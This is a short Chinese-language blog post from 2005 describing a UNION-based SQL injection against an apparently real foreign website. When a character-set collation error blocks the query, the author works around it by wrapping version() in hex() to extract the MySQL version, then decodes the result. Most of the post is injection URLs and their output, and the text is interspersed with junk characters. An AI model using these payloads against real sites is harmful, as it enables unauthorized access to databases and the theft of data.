本文作者:SuperHei
: ?# Y" Y- o! i% [8 V文章性质:原创
8 }: o$ g% n9 E发布日期:2005-10-18% G# U: @( j5 R5 Y8 Z! x
测试个国外的站时:1 [3 d3 x( R' X0 f4 {1 S; G
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*2 p! u6 C/ |7 N% U- e
返回错误:: m: o* ?0 |& J) N8 f
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
3 R% C. e6 Q5 q4 MMySQL Error No. 1263 t; s# k3 P4 ^1 c' ?# u; ~
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
# n, B% U1 j/ D. R. {: P解决办法:转为其他编码如hex。
4 P% W4 b' o1 {1 y( }( |url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*3 u5 `! Y4 l7 m! ]4 |& O9 ~
成功得到hex(version())的值为:9 J: i- }9 M6 n0 D) v' O3 [
342E312E332D62657461
$ h. g4 K/ p. y% ^- u9 b# R回Mysql查询下得到:7 [* T) F. Q( \ `
mysql> select 0x342E312E332D62657461;
" K* y, x# w$ f+------------------------+
4 G' ~% o. r; f5 E# D8 @6 F| 0x342E312E332D62657461 |* c3 F$ C9 Q2 ]; l
+------------------------+
" k: P$ d2 } m$ G" E) |& c| 4.1.3-beta |
0 H% _0 A) _9 A6 H3 N4 c6 s2 F+------------------------+
4 C, i1 b4 k; H0 t$ t- ]; o- j% G1 row in set (0.00 sec)
S) R7 U& Y5 W2 b8 F2 w; Y
# G. Y# p& L X# W0 O |